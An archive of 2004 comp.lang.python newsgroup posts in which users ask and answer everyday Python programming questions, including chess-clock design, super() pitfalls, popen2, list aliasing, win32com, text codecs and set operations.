"DomF" <fidtz at clara#spam#.co.uk> wrote in message news:<1076943278.22567.0 at echo.uk.clara.net>...
> I have been putting together a little text chess program and have run into a
> style issue when integrating my chess clock with my chessboard generator.
> Basically, I would like to be able to manipulate the clock independently of
> the board but also want the clock time as displayed by the board to change
> automatically.
> 
> I am passing in a clock object to the board in __init__ to achieve this.
> However, means that the clock object can be changed via the board object and
> the clock object. Is this good style or should I be designing in a totally
> different way?

So, just pass in a bound method to view the clock output then!
Likewise, player objects can get buttons to play with. Methods
are also objects that can be passed around, you know... E.g:

import time

class ChessClock:
    WHITE, BLACK = False, True
    
    def __init__(self):
        self.last_start = None
        self.total = [0.0,0.0]
        self.running = None

    def white_press_button(self):
        if self.running is None:
            self.running = self.BLACK
            self.last_start = time.time()
        else:
            self.press_button(self.WHITE)

    def black_press_button(self):
        self.press_button(self.BLACK)
        
    def press_button(self, color):
        if self.running == color:
            self.running = not color
            self.total[color] += time.time() - self.last_start
            self.last_start = time.time()
        else:
            print "Not your turn!"

    def display(self):
        times = self.total[:]
        txt = ['STOPPED','RUNNING']
        if not self.running is None:
            times[self.running] += time.time() - self.last_start
        for color, COLOR in [('White', self.WHITE), ('Black', self.BLACK)]:
            print "%s: %d min %02d sec %s" %(
                (color, times[COLOR]//60, times[COLOR]%60, txt[COLOR]))


class ChessGame:
    def __init__(self, clock_display):
        self.clock_display = clock_display
        ...

    ...
        self.clock_display()
    ...


class ChessPlayer:
    def __init__(self, colour, press_clock_button):
        self.press_clock_button = press_clock_button
        ...

    ...
        self.press_clock_button()
    ...

...

clk = ChessClock()
game = ChessGame(clk.display)
w = ChessPlayer('White', clk.white_press_button)
b = ChessPlayer('Black', clk.black_press_button)


From ark at acm.org  Sun Feb 29 21:38:35 2004
From: ark at acm.org (Andrew Koenig)
Date: Mon, 01 Mar 2004 02:38:35 GMT
Subject: Licensing of wrappers around C/C++ code under more restrictive
	licensing.
References: <7ed8f64d.0402280218.5ff447cf@posting.google.com>	<du7ishrmqsv.fsf@amadeus.cc.tut.fi><dc6f5c99.0402281637.71f8a571@posting.google.com>
	<mailman.1.1078031359.21439.python-list@python.org>
Message-ID: <Lmx0c.58917$aH3.1816559@bgtnsc04-news.ops.worldnet.att.net>

"Mike C. Fletcher" <mcfletch at rogers.com> wrote in message
news:mailman.1.1078031359.21439.python-list at python.org...

> The FSF peoples seem to have a different interpretation, as, last I
> heard, they suggest that software that links to any GPL software, even
> at run-time constitutes an infringement (regardless of your not having
> distributed the GPL code yourself, and the end-user having a perfectly
> valid license to link the two for personal use).

Can you provide evidence to support this claim?




From stasz at tux.org  Thu Feb  5 14:33:31 2004
From: stasz at tux.org (StasZ)
Date: Thu, 05 Feb 2004 20:33:31 +0100
Subject: gettext in windows
Message-ID: <pan.2004.02.05.19.33.31.261102@tux.org>

Hello,

I have some programs which are developed on Linux and uses gettext for
the language support.
While they run without problem on a win32 platform i haven't a clue how
to get the gettext stuff working.
Also locale settings are different.

Can somebody give me some pointers on how this sort of thing is
implemented in windows?
I must also confess that i have problems installing GNU/gettext on windows
I'm quite clueless on windows :-) 

Thanks,

Stas



From michele.simionato at poste.it  Sat Feb 21 05:01:15 2004
From: michele.simionato at poste.it (Michele Simionato)
Date: 21 Feb 2004 02:01:15 -0800
Subject: hmm, lets call it: generic   init    problem ['LBBW': checked]
References: <mailman.70.1077206479.27104.python-list@python.org>
Message-ID: <95aa1afa.0402210201.70c665c7@posting.google.com>

"Holger Joukl" <Holger.Joukl at LBBW.de> wrote in message news:<mailman.70.1077206479.27104.python-list at python.org>...
> I just started out with python 2.3, so I might be totally wrong,
> but does this work?
> 
> >>> class one(object):
> ...     def   init  (self, *args, **kwargs):
> ...             super(self.  class  , self).  init  ()
> ...
> >>> one()
> <  main  .one object at 0x1dd190>

This is tempting, but breaks under inheritance:
    
class A(object):
    def __init__ (self):
        print "A.__init__"
        super(self.__class__, self).__init__()
class B(A):
    def __init__ (self):
        print "B.__init__"
        super(self.__class__, self).__init__()

b=B()

Here B.__init__ will call A.__init__ which will call itself, generating
an infinite loop. The reason is that in A.__init__, when self=b, one
has super(self.__class__,self).__init__() == super(B,b).__init__()
which will call A.__init__(b) again and again.

       Michele Simionato


From jepler at unpythonic.net  Sun Feb 29 10:48:06 2004
From: jepler at unpythonic.net (Jeff Epler)
Date: Sun, 29 Feb 2004 09:48:06 -0600
Subject: need help for extending and embedding
In-Reply-To: <2zm0c.55289$IT2.1679033@news4.tin.it>
References: <2zm0c.55289$IT2.1679033@news4.tin.it>
Message-ID: <20040229154806.GB29004@unpythonic.net>

Here's a paragraph from the Python API manual addressing this subject:
    Note also that several of these functions take FILE* parameters. On
    particular issue which needs to be handled carefully is that the FILE
    structure for different C libraries can be different and incompatible.
    Under Windows (at least), it is possible for dynamically linked
    extensions to actually use different libraries, so care should be
    taken that FILE* parameters are only passed to these functions if
    it is certain that they were created by the same library that the
    Python runtime is using.
        -- http://python.org/doc/current/api/veryhigh.html

Jeff



From rajarshi at presidency.com  Tue Feb  3 12:36:10 2004
From: rajarshi at presidency.com (Rajarshi Guha)
Date: Tue, 03 Feb 2004 12:36:10 -0500
Subject: Bitsets in Python
Message-ID: <pan.2004.02.03.17.36.10.927614@presidency.com>

Hi,
  does Python have any native support for bitsets? I dont seem to see
  anything in the standard library?

Thanks,
Rajarshi



From steve at ninereeds.fsnet.co.uk  Sun Feb 22 01:19:10 2004
From: steve at ninereeds.fsnet.co.uk (Stephen Horne)
Date: Sun, 22 Feb 2004 06:19:10 +0000
Subject: Having trouble extracting useful directory details from
	ftplib.FTP
References: <etle3058fkbe7k2mrf6jlucuj929ns7tju@4ax.com>
	<TGUZb.6905$J84.5743@fe1.texas.rr.com>
Message-ID: <2vhg30piij5cccatlhhh3s9k25rn682cv9@4ax.com>

On Sun, 22 Feb 2004 02:42:59 GMT, "Paul McGuire"
<ptmcg at austin.stopthespam_rr.com> wrote:

>"Stephen Horne" <steve at ninereeds.fsnet.co.uk> wrote in message
>news:etle3058fkbe7k2mrf6jlucuj929ns7tju at 4ax.com...
>>
>> Just recently I decided I want to make use of my ISP freebie webspace.
>> In order to make that easier, I'd like to be able to automatically
>> synchronise an FTP file/folder heirarchy with one on my local hard
>> drive. I figured this should be easily handled in Python, and broadly
>> speaking it is, but I am having a little difficulty.
>>
><snip>
>Is this anything like ftpmirror.py?  You'll find it in the tools\scripts
>directory of the Python distribution.

Thanks.

It's the exact reverse of what I want (it mirrors from the server to
the local disk, I want to mirror from the disk to the server) but it
is extremely clueful - the way it assumes a standard (unix oriented)
format for the listing unless a Mac server option is specified tells
me precisely what I need to know.


-- 
Steve Horne

steve at ninereeds dot fsnet dot co dot uk


From claird at lairds.com  Sun Feb  1 10:47:23 2004
From: claird at lairds.com (Cameron Laird)
Date: Sun, 01 Feb 2004 15:47:23 -0000
Subject: Running External Programs from Within Python
References: <5a40bf6a.0401311123.4b7f783f@posting.google.com>
	<mailman.1081.1075583900.12720.python-list@python.org>
	<bvhbr7$6rj$07$1@news.t-online.com>
	<mailman.1093.1075628924.12720.python-list@python.org>
Message-ID: <101q7sbms36eb9e@corp.supernews.com>

In article <mailman.1093.1075628924.12720.python-list at python.org>,
RayS  <rays at blue-cove.com> wrote:
			.
			.
			.
>>Do you
>>know at the time you launch the Fortran-coded application
>>all the input it'll need?
>
>Usually not. It's a balance solution routine that requires some interaction 
>from the engineers; the Fortran has a three layer menu, and produces both 
>screen output and files. There is an intermediary result which has to be 
>looked at by the user to decide on the final balance, otherwise I would 
>change the code to just run from arg[] values.
>One of its problems is that there is minimal error checking, and a bad 
>input requires  the user to start over!
> From the popen() docs, it seemed as though Windows could not have both 
>read and write ability over a pipe.
			.
			.
			.
Right.  What you probably want is os.popen2(), which 
<URL: http://python.org/doc/current/lib/module-popen2.html >
documents.  popen() is *not* adequate to your situation.

I write "probably" above only because your description doesn't
make clear to me whether you need your Fortran process's stderr.
If you do, then read through that same reference page to study
popen3() and popen4().

Keep in mind that you're doing something at which Python is 
quite apt.  This kind of wrapping can be fun.  You'll be suc-
cessful.
-- 

Cameron Laird <claird at phaseit.net>
Business:  http://www.Phaseit.net


From Kyler at news.Lairds.org  Fri Feb 13 18:11:55 2004
From: Kyler at news.Lairds.org (Kyler Laird)
Date: Fri, 13 Feb 2004 23:11:55 GMT
Subject: Python as a teaching (visualization) tool
References: <c14vf1-386.ln1@jowls.lairds.org> <c0iqcg$kp7$1@panix2.panix.com>
Message-ID: <ld10g1-4c3.ln1@jowls.lairds.org>

aahz at pythoncraft.com (Aahz) writes:

>>I don't mind building my own tools from rough building blocks,
>>but I'm going to watch for tools that would be more appropriate
>>for classroom presentations.  I welcome suggestions.

>Cool!  Gonna be at PyCon?

DC?!  Uh...no.

>There should be lots of opportunities for
>discussions like this there.

Yeah, it's tempting.  I am certainly feeling the urge to once again
be in the physical presence of lots of Python people but it's not
enough to get me to go to DC.

Perhaps I'll head out West to the O'Reilly Open Source Conference
this year.
	http://conferences.oreillynet.com/os2004/
I see that Python 12 is part of it.  Yes, that would be a nice way
to spend my birthday.  See you there?

I still hope that people will point out solutions here, of course.
(I was half expecting someone to say something along the lines of
"Why didn't you just pull up PyXXX, create a new window, and send
it the Hough_transform() message?")

--kyler


From kccw at well.ox.ac.uk  Fri Feb 27 07:43:55 2004
From: kccw at well.ox.ac.uk (Kenny)
Date: Fri, 27 Feb 2004 12:43:55 +0000
Subject: [newbie] confused about following list assignment
Message-ID: <Pine.LNX.4.43.0402271233330.17064-100000@zeon.well.ox.ac.uk>

Hello,

I wanted a list with unique element at postion zero, so I wrote a little
code that I thought would do this (see below).

>>> for i in range(len(a)):
...  x=random.random()
...  print x
...  a[i][0]=str(x*10)
...
0.710829738051
0.896195451411
0.0971075321793
0.882219628625

>>> print a
[['8.82219628625', 'c', 'd'], ['8.82219628625', 'c', 'd'],
['8.82219628625', 'c', 'd'], ['8.82219628625', 'c', 'd']]

Can someone explain why all the position zeros are being assigned the same
value of x?

List a was generated previously as

>>> a=[]
>>> b=['t','c','d']
>>> for i in range(5):
...  a.append(b)

Regards,

Kenny

*******************************************************************************
                     tout casse, tout passe, tout lasse.
*******************************************************************************




From richardshea at fastmail.fm  Thu Feb 26 04:28:45 2004
From: richardshea at fastmail.fm (Richard Shea)
Date: 26 Feb 2004 01:28:45 -0800
Subject: MySQLDB - generating "...not in (1,2,3)" from Python list ?
References: <282f826a.0402230152.253315ca@posting.google.com>
Message-ID: <282f826a.0402260128.4400d7d9@posting.google.com>

Hi - I'm sorry I haven't responded before I got a cold earlier this
week and it's kind of knocked me sideways. Reading the replies I
realised I had done something fundamentally wrong and I was able to
use them as a basis for getting it to work correctly so thanks very
much to all of you for your help.

There is one thing about the whole business which I find a bit
difficult - it would be nice if after you have executed the query you
were able to actually view the query (with substituted parameters) as
a string to ensure that your query was what it thought it was. I
understand that mySQLdb is really a wrapper around the C API for
MySQL. I've taken a look at that and I can't find anything like what
I'm describing but if any of you guys do know of such a feature it
would be useful in future to know - one of the reaons I was having
problems this time was fully appreciating just what the query was I
was submitting.

I should just say before you think I'm nuts that the 'real' query was
a good deal more complex (and had more substituted parameters) than
the simple one which I created to ask the question I did.

Anyway thanks again for all your help.

regards

richard shea.


From hauck at gseos.com  Tue Feb 17 10:34:33 2004
From: hauck at gseos.com (Tommy Trojan)
Date: Tue, 17 Feb 2004 07:34:33 -0800
Subject: Hiding modules
References: <c0mpkn$i1d$1@gist.usc.edu>
	<4f0a9fdb.0402160359.33f90363@posting.google.com>
	<c0qde1$3s6$1@gist.usc.edu> <c0r3j8$268$1@news.service.uci.edu>
Message-ID: <c0tcad$ksg$1@gist.usc.edu>

Josiah,

thanks, I will check out your solution. It looks similar to an import hook
to me. There is still a problem that the user could just reset sys.modules
to his own dict.

Thanks,
  Thomas


"Josiah Carlson" <jcarlson at nospam.uci.edu> wrote in message
news:c0r3j8$268$1 at news.service.uci.edu...
>
> import sys
> import traceback
>
>
> class MyDict(UserDict):
>      def __getitem__(self, key):
>          try:
>              raise ""
>          except:
>              a = traceback.extract_stack()
>          #do all your call checking on a
>      #similar checks for __setitem__
>
> sys.modules = MyDict(sys.modules)
>
> Do as many checks on the caller that tries to access a module via
> sys.modules as you want.
>
> You could also replace new.module with similar attribute get and set
> permission checking, though my testing suggests that this may not be
> enough (perhaps import keeps a reference to the original version of
> new.module, or something).
>
>   - Josiah




From simoninusa2001 at yahoo.co.uk  Sat Feb 21 18:39:20 2004
From: simoninusa2001 at yahoo.co.uk (simo)
Date: 21 Feb 2004 15:39:20 -0800
Subject: _ssl.pyd in py2exe ???
References: <8089854e.0402210443.1f220525@posting.google.com>
Message-ID: <30260531.0402211539.34e7e330@posting.google.com>

michael at foord.net (Fuzzyman) wrote:

> I've written a Tkinter application and am bundling it using py2exe 0.5
> 
> Because of the inclusion of Tk/TCL the final package is rather
> large........ but why on earth in an anagram finder is _ssl.pyd (500k)
> being bundled in with it ???

Probably that some module you have imported requires it, maybe Tk?


From miki.tebeka at zoran.com  Mon Feb 16 01:19:24 2004
From: miki.tebeka at zoran.com (Miki Tebeka)
Date: 15 Feb 2004 22:19:24 -0800
Subject: Stopping a program
References: <b4a8ffb6.0402151600.70e2c173@posting.google.com>
Message-ID: <4f0a9fdb.0402152219.1d36a716@posting.google.com>

Hello Thomas,

> I'd like to stop a program (i.e. terminate its execution) without
> raising an exception if some condition is met, e.g
http://www.python.org/doc/current/lib/module-sys.html, see `exit'

HTH.
Miki


From __peter__ at web.de  Fri Feb 13 04:04:19 2004
From: __peter__ at web.de (Peter Otten)
Date: Fri, 13 Feb 2004 10:04:19 +0100
Subject: [Python-mode] compile problem in emacs
References: <16427.61480.908629.945920@montanaro.dyndns.org>
	<mailman.10.1076657607.31398.python-list@python.org>
Message-ID: <c0i3uj$mrv$03$1@news.t-online.com>

vissen at gmx.net wrote:

> i am new to Linux and Python.

Welcome to both!

> 
> I get a syntax error for this  line of code.
> .....
> def fib(n):    # write Fibonacci series up to n
> ........
> 
> used Emacs as the editor on a Redhat ver8.0 OS. (This example is included
> as part of tutorial/documentation in Python docs)
> any suggestions /ideas are useful.
> thanks for reading.

The code snippet is correct. Here's what your code *could* look like 

<syntaxerror.py>
def test(

def fib(n):    # write Fibonacci series up to n
    """Print a Fibonacci series up to n."""
    a, b = 0, 1
    while b < n:
        print b,
        a, b = b, a+b
</syntaxerror.py>

This will show the following slightly misleading syntax error:

  File "<stdin>", line 3
    def fib(n):    # write Fibonacci series up to n
      ^
SyntaxError: invalid syntax

but I cannot be sure, because your post doesn't provide enough context. 
In the future, please give a small but _complete_ example that shows the
erroneous/undesired behaviour and the _actual_ traceback (cut and paste
from emacs or the command line).

Peter


From aahz at pythoncraft.com  Wed Feb 25 21:31:00 2004
From: aahz at pythoncraft.com (Aahz)
Date: 25 Feb 2004 21:31:00 -0500
Subject: Size limit on compiling?
References: <Ijb%b.75$a6.33911@newshog.newsread.com>
Message-ID: <c1jlp4$pt5$1@panix3.panix.com>

In article <Ijb%b.75$a6.33911 at newshog.newsread.com>,
Leif K-Brooks  <eurleif at ecritters.biz> wrote:
>
>I have a Python file of 1.2MB (it's a static database, not code, so it 
>really does have to be that big). It doesn't seem to get compiled when 
>imported (there's no .pyc file created), so importing it takes a few 
>seconds which I would really like to avoid. Is Python not compiling it 
>because of the large size? Is it because the whole file is on one really 
>long line? How can I fix this?

Use a real database, or at least pickle.
-- 
Aahz (aahz at pythoncraft.com)           <*>         http://www.pythoncraft.com/

"Do not taunt happy fun for loops. Do not change lists you are looping over."
--Remco Gerlich, comp.lang.python


From pmjcovello at shaw.ca  Sun Feb  8 15:16:50 2004
From: pmjcovello at shaw.ca (Thomas Covello)
Date: Sun, 08 Feb 2004 20:16:50 GMT
Subject: Extended slice notation doesn't recognise integer
Message-ID: <pan.2004.02.08.20.20.46.250645@shaw.ca>

Why does the following code give this error:
>>> [0, 1, 2, 3, 4][::2]
TypeError: sequence index must be integer


From tim.one at comcast.net  Tue Feb 10 22:17:23 2004
From: tim.one at comcast.net (Tim Peters)
Date: Tue, 10 Feb 2004 22:17:23 -0500
Subject: Python.h problem-> /usr/include/python2.2/longobject.h:48:
	warning: ISO C89 does not support `long long'
In-Reply-To: <qnkptcmgz7p.fsf@arbutus.physics.mcmaster.ca>
Message-ID: <LNBBLJKPBEHFEDALKOLCIEPJINAB.tim.one@comcast.net>

[David M. Cooke]
> Well, in C99 it's int64_t (which is guaranteed to be a 64-bit signed
> integer).

Nope, a conforming C99 compiler doesn't have to supply int64_t -- there is
no mandatory integral type in std C guaranteed to be of any specific number
of bits (not 64, 32, 16 or 8 -- all the intNN_t and uintNN_t names in C99
are optional).  "long long" is mandatory in C99, and must be at least 64
bits.

> Or int_least64_t (at least 64 bits)

Nope, that's the narrowest integral type of at least 64 bits.  This must
exist.  Probably the same as long long (which is *an* integral type with at
least 64 bits), but not necessarily (there may be integral types of at least
64 bits narrower than long long).

> or int_fast64_t (native type with at least 64 bits that's the fastest
> of the alternatives).

Yup.  This must exist too.

> Mind you, with GCC they're all typedef'ed to long long int (or long
> int for 64-bit platforms).
>
> Hmm, does PY_LONG_LONG have to be (at least) 64-bits?

That's the intent.

> A quick grep through the source seems to suggest that it's used as
> a large integer type -- not as something that holds at least 64 bits.

For example, the Q format code is supported in the struct module if and only
if PY_LONG_LONG is defined, and in "std mode" holds exactly 8 bytes, so
PY_LONG_LONG has to be at least 8 bytes.




From this at is.for.spambot  Wed Feb 11 11:49:19 2004
From: this at is.for.spambot (Benjamin Han)
Date: Wed, 11 Feb 2004 11:49:19 -0500
Subject: server bootstrapping upon connection (WARNING: LONG)
References: <ef08387c.0402100854.7c03b60c@posting.google.com>
	<86fzdiydpu.fsf@stronzo.brainbot.com> (null) (null)
	<2004021016361216807%this@isforspambot>
	<86k72uzfih.fsf@stronzo.brainbot.com>
	<2004021019594716807%this@isforspambot>
Message-ID: <2004021111491975249%this@isforspambot>

On 2004-02-10 19:59:47 -0500, Benjamin Han <this at is.for.spambot> said:

> On 2004-02-10 18:22:30 -0500, ralf at brainbot.com said:
> 
>> Benjamin Han <this at is.for.spambot> writes:
>> 
>>> On 2004-02-10 13:46:37 -0500, ralf at brainbot.com said:
>>> 
>>>> fortepianissimo at yahoo.com.tw (Fortepianissimo) writes:
>>>>> The problem: I need to prevent multiple copies of the server being
>>>>> started. I did this by using file locking (fcntl.lockf()). However,
>>>>> not every time the code successfully prevented the server being
>>>>> started up more than one time. Here is the relevant code:
>>>> ...  from the "ps" log during the stress test, I still get two servers 
>>>> started up, listed by ps like this:
> 
> 27308  ??  S      0:01.25 python -OO fooServer.py
> 27465  ??  SV     0:01.25 python -OO fooServer.py
> 
> In this case the one with pid 27308 was the first server process 
> started. Some time later, with unknown reason, another server entry 
> will show up in ps log, but the status is always "RV" or "SV" (e.g., 
> pid 27465). The way I started the server in the code is os.system() 
> call, and from the man page of ps, 'V' means "The process is suspended 
> during a vfork."
> 
> The weird thing is I also have log statements in the server script, and 
> from the log file only ONE copy is actually started. I start to suspect 
> that I might have misunderstood the ps log - could it be there really 
> is only ONE copy running, despite there're (up to) 2 entries shown in 
> the ps log?

Ok this is by far the most puzzling one: I use logger module in the 
server script to notify its execution. The code is like this:

--- LOGGING CODE STARTS ---
if FOO_COMM_DEBUG:
    myPID=os.getpid()
    logger = logging.getLogger('FOO Comm')
    hdlr = logging.FileHandler(TMP_PATH+'fooComm.log')
    formatter = logging.Formatter('%(asctime)s %(message)s')
    hdlr.setFormatter(formatter)
    logger.addHandler(hdlr) 
    logger.setLevel(logging.INFO)

    def log (info):
        logger.info('Server %d: %s'%(myPID,info))

if FOO_COMM_DEBUG: log('process %d started me'%os.getppid())
--- LOGGING CODE ENDS ---

This is the FIRST block of code right after my "import ..." statement 
in the server script, so there's no way that it could be skipped if the 
script gets executed. Of course FOO_COMM_DEBUG is set to 1.

But as described, the ps log showed two entries of fooServer.py, but in 
the log produced, only one server actually was started (I can tell that 
from the PID in the log file). I really can't explain this discrepency!



From bogus@does.not.exist.com  Sun Feb 22 23:10:40 2004
From: bogus@does.not.exist.com ()
Date: Sun, 22 Feb 2004 22:10:40 -0600
Subject: Problem using win32com
Message-ID: <ac6548cbb0a5423510758fc94cd067d6@localhost.talkaboutprogramming.com>

Hi,

A month ago, I decided to move from Delphi to Python/wxPython for a good deal of my development work, and for the past few projects (which included a full re-write of our point-of-sale system) I've had no problems and been very pleased with the move.

We're Sage (accounting software) developers and frequently link into Line 50 using a Sage supplied COM server. In Delphi, the code to create the client and a workspace (which is required later) is as follows:

  SDO := CreateOLEObject('SDOEngine.10');
  WS := SDO.Workspaces.Add('abc');

So naturally, I'd expect the following Python code to work:

  import win32com.client
  SDO = win32com.client.Dispatch("SDOEngine.10")
  WS = SDO.Workspaces.Add("abc")

But at the last stage, I get an error:

Traceback (most recent call last):
  File "<pyshell#4>", line 1, in -toplevel-
    ws=sdo.Workspaces.Add("ss")
  File "C:\PYTHON23\lib\site-packages\win32com\client\dynamic.py", line 154, in __call__
    return self._get_good_object_(self._oleobj_.Invoke(*allArgs),self._olerepr_.defaultDispatchName,None)
com_error: (-2147352573, 'Member not found.', None, None)

So I used MakePy to generate the relevant Python interface code, and tried the following:

  SDO=win32com.client.gencache.EnsureModule("{ACE2C5EC-2EC0-4AEB-8B0D-27A5A1ED6421}",0,10,0)
  WS=SDO.Workspaces.Add("abc")

But now I get:

Traceback (most recent call last):
  File "<interactive input>", line 1, in ?
TypeError: unbound method Add() must be called with IWorkspaces instance as first argument (got str instance instead)

The relevant MakePy generated code looks like this:

class IWorkspaces(DispatchBaseClass):
	CLSID = IID('{7075CC61-F056-11D0-A34B-000000000000}')
	coclass_clsid = IID('{7075CC63-F056-11D0-A34B-000000000000}')

	def Add(self, Name=defaultNamedNotOptArg):
		ret = self._oleobj_.InvokeTypes(2, LCID, 1, (9, 0), ((8, 0),),Name)
		if ret is not None:
			ret = Dispatch(ret, 'Add', None, UnicodeToString=0)
		return ret

class Workspaces(CoClassBaseClass): # A CoClass
	CLSID = IID('{7075CC63-F056-11D0-A34B-000000000000}')
	coclass_sources = [
	]
	coclass_interfaces = [
		IWorkspaces,
	]
	default_interface = IWorkspaces

What am I doing wrong? And more importantly, what can I do about it? I suspect there's a really simple answer which begins "Chris, you're being a fool...", but it's now pretty late, and I have other matters to deal with for the next few hours, so any help would be much appreciated.

Regards,


Chris



From skip at pobox.com  Tue Feb 10 15:51:41 2004
From: skip at pobox.com (Skip Montanaro)
Date: Tue, 10 Feb 2004 14:51:41 -0600
Subject: in c extension what is easiest way to build a (PyObject) list
 from an array of doubles?
In-Reply-To: <bf23f78f.0402022256.7ace879c@posting.google.com>
References: <bf23f78f.0402022256.7ace879c@posting.google.com>
Message-ID: <16425.17501.864118.200579@montanaro.dyndns.org>


    Chris> In c extension what is easiest way to build a (PyObject) list
    Chris> from an array of doubles?

    Chris> I don't think I can do "return Py_BuildValue(...) to make a list
    Chris> from an array can I???

If the length of the array is known when you write the code I think
something like this will work:

    return Py_BuildValue("[dddd]", a[0], a[1], a[2], a[3]);

    Chris> How else can I build and return a list??

Something like this (untested, no error checking):

    int alen = sizeof(a)/sizeof(a[0]);
    PyObject *list_of_floats = PyList_New(alen);
    for (i = 0; i < alen; i++) {
        PyList_SET_ITEM(list_of_floats, i, PyInt_FromLong(a[i]));
    }
    return list_of_floats;

Skip



From zed_lands at yahoo.com  Mon Feb  9 02:07:19 2004
From: zed_lands at yahoo.com (Zed Lands)
Date: Sun, 8 Feb 2004 23:07:19 -0800 (PST)
Subject: Mouse Event Error
Message-ID: <20040209070719.60091.qmail@web60907.mail.yahoo.com>

Greetings Pythonians,
 
I got two sash windows. On the left window there is a tree,and on the right window there are some checkboxes.
 
Neither of the two sash windows respond to the mouse click event (EVT_LEFT_DOWN) although the checkboxes can be triggered. Yes, the checkboxes can be triggered without using the mouse click event.
 
How do I make the sash windows respond to the mouse events?
 
p.s.Both of the sash windows, when they run in separate files, they both respond to mouse events.
 
Thanks
 
Zed Lands
zed_lands at yahoo.com


---------------------------------
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From fumanchu at amor.org  Wed Feb 18 11:37:48 2004
From: fumanchu at amor.org (Robert Brewer)
Date: Wed, 18 Feb 2004 08:37:48 -0800
Subject: Python Productivity Gain?
Message-ID: <DE1CF2B4FEC4A342BF62B6B2B334601E561D58@opus.amorhq.net>

Gerrit wrote:
> "Peter Hansen" <peter at engcorp.com> schreef in bericht
> news:40323814.3129EA4B at engcorp.com...
> > My background is (roughly in order) APL, FORTRAN, BASIC, 
> Assembly, C,
> > university :-), Pascal, C++, Object Pascal, Java, LabVIEW, 
> and Python
> > (with a dozen others I forget) and I'm telling you Python 
> is a really
> > great language.  I've also dumped my previously favourite languages
> > (to wit, BASIC, C, C++, Delphi, and Java) to focus on Python.
> >
> > Now all you need are 19 others and we'll have a significant 
> data point.
> > (Signifying what?  That's what I want to know. ;-)

> Fortran, Basic, Assembly many times, Pascal, C, Objective-C, 
> Object Pascal,
> C++, Java and Python.
> Yes Python beats the rest wrt productivity for most of my 
> applications :-)
> 
> Now do we need 18 more for a SIGNIFICANT data point?

Basic, Assembly (mostly 6502), Pascal, as little C as necessary, VB4,
Perl, Java, Python. I can't say I've ever had a favorite until now. ;)

17 to go.


FuManChu



From secchi at sssup.it  Thu Feb 19 03:48:13 2004
From: secchi at sssup.it (Angelo Secchi)
Date: Thu, 19 Feb 2004 09:48:13 +0100
Subject: Converting binaty to ascii
In-Reply-To: <tgq830pa5nqgchj73s27prlf7gnbafd7d6@4ax.com>
References: <mailman.103.1077104625.31398.python-list@python.org>
	<tgq830pa5nqgchj73s27prlf7gnbafd7d6@4ax.com>
Message-ID: <20040219094813.734e9f0f.secchi@sssup.it>


On Wed, 18 Feb 2004 23:49:10 -0800
Tim Roberts <timr at probo.com> wrote:

> Angelo Secchi <secchi at sssup.it> wrote:
> >
> >Any suggestions on what is the right approach to solve the problem of
> >converting a database in binary format to an ASCII format?
> 
> That's not nearly enough information.  What kind of database?  Some
> proprietary thing, or something more-or-less standard?  Does it have
> fields?  Can you describe them?  What do you want the resulting file
> to looks like?


Actually I think is more-or-less standard. The only detailed info I have
 is a so called "tracciato record" (may be "record track" in English)
in which there is a precise description of "what is where" and how
long (I do not know precisely the unit of measure...sorry for my
ignorance) the field is but no info about format.
I was trying to use the struct module but it was not clear to me how to
do that (suggestion where I can find more help and may be examples on
this module?).

Thanks  Angelo
 
> Give us details and I'm sure someone will be happy to help you with
> this.-- 
> - Tim Roberts, timr at probo.com
>   Providenza & Boekelheide, Inc.
> -- 
> http://mail.python.org/mailman/listinfo/python-list


--
========================================================
 Angelo Secchi                     PGP Key ID:EA280337
========================================================
  Current Position:
  Graduate Fellow Scuola Superiore S.Anna
  Piazza Martiri della Liberta' 33, Pisa, 56127 Italy
  ph.: +39 050 883365
  email: secchi at sssup.it
========================================================



From michael at foord.net  Mon Feb 23 03:50:27 2004
From: michael at foord.net (Fuzzyman)
Date: 23 Feb 2004 00:50:27 -0800
Subject: Changing the default text codec
Message-ID: <8089854e.0402230050.145a8c94@posting.google.com>

Sorry if my terminology is wrong..... but I'm having intermittent
problems dealing with accented characters in python. (Only from the 8
bit latin-1 character set I think..)

I've written an anagram finder that produces anagrams from a
dictionary of words. The user can load their own dictionary.
 
( http://www.voidspace.org.uk/atlantibots/nanagram.html )

It's particularly difficult for me to understand what is happening -
because python's behaviour *seems* intermittent.

For example - if I run my program from IDLE and give it the word
'degr?' (containing e-acute) then I get the error :

Exception in Tkinter callback
Traceback (most recent call last):
[snip..]
  File "D:\Python Projects\Nanagram1.3\Nanagram-GUI.pyw", line 123, in
prepare
    if letter in self.valid_letters:
UnicodeDecodeError: 'ascii' codec can't decode byte 0x83 in position
26: ordinal not in range(128)
Traceback (most recent call last):

It is testing each character of the users input to remove invalid
characters (like "-" and "'")...  It crashes when it comes tot he
e-acute.


*However* - If I run it by double clicking on the file then it appears
to work fine (e.g. if I ask it find anagrams of 'degr? hello ma' then
it strips out the e-acute (thinking it's an invalid character) and
finds anagrams of the rest :

gleam	holder
hallo	merged

What I'd like to do is switch by default to an 8 bit codec (latin-1 I
think ?????) and then offer the user the choice of either mapping the
accented characters to their nearest equivalent (e-acute to e for
example) *or* treating them as seperate characters.............


I can't work out how to change the default codec (no matter what the
locale) ?

Anyone able to help - or point me to a useful resource ?? (I've tried
google - b4 u suggest it )



Fuzzy


From dk123456789 at REMOVEhotmail.com  Thu Feb 12 18:49:10 2004
From: dk123456789 at REMOVEhotmail.com (Dave K)
Date: Fri, 13 Feb 2004 00:49:10 +0100
Subject: sets and subsets
References: <c0e4g3$r1$1@solaris.cc.vt.edu> <c0e8g4$4fi$03$1@news.t-online.com>
	<c0e8sa$7gs$1@solaris.cc.vt.edu>
	<c0e9uu$41u$00$1@news.t-online.com>
	<mailman.1.1076543872.698.python-list@python.org>
Message-ID: <674o20dp1kj9ath3hmmha5fvmc342s1gcd@4ax.com>

On Wed, 11 Feb 2004 18:57:15 -0500 in comp.lang.python, Fran?ois
Pinard <pinard at iro.umontreal.ca> wrote:

>[Peter Otten]
>
>> (untested)
>> from sets import set
>
>> inputFile = file('ips.txt', 'r') #Super-set
>> include = Set(inputFile.readlines())
>> inputFile.close()
>
>> readFile = file('excluded_ips.txt', 'r') #Sub-set to exclude
>> exclude = Set(readFile.readlines())
>> readFile.close()
>
>> # No Magic of Elaine
>
>> outputFile = file('pruned_ips.txt' , 'w')
>> for i in include - exclude:
>>     print >> outputFile, i,
>> outputFile.close()
>
>Here is an equivalent, shorter algorithm (tested):
>
>from sets import Set
>file('pruned_ips.txt', 'w').writelines(
>        Set(file('ips.txt')) - Set(file('excluded_ips.txt')))
>
>This code relies on `writelines' accepting an iterable, sets returning
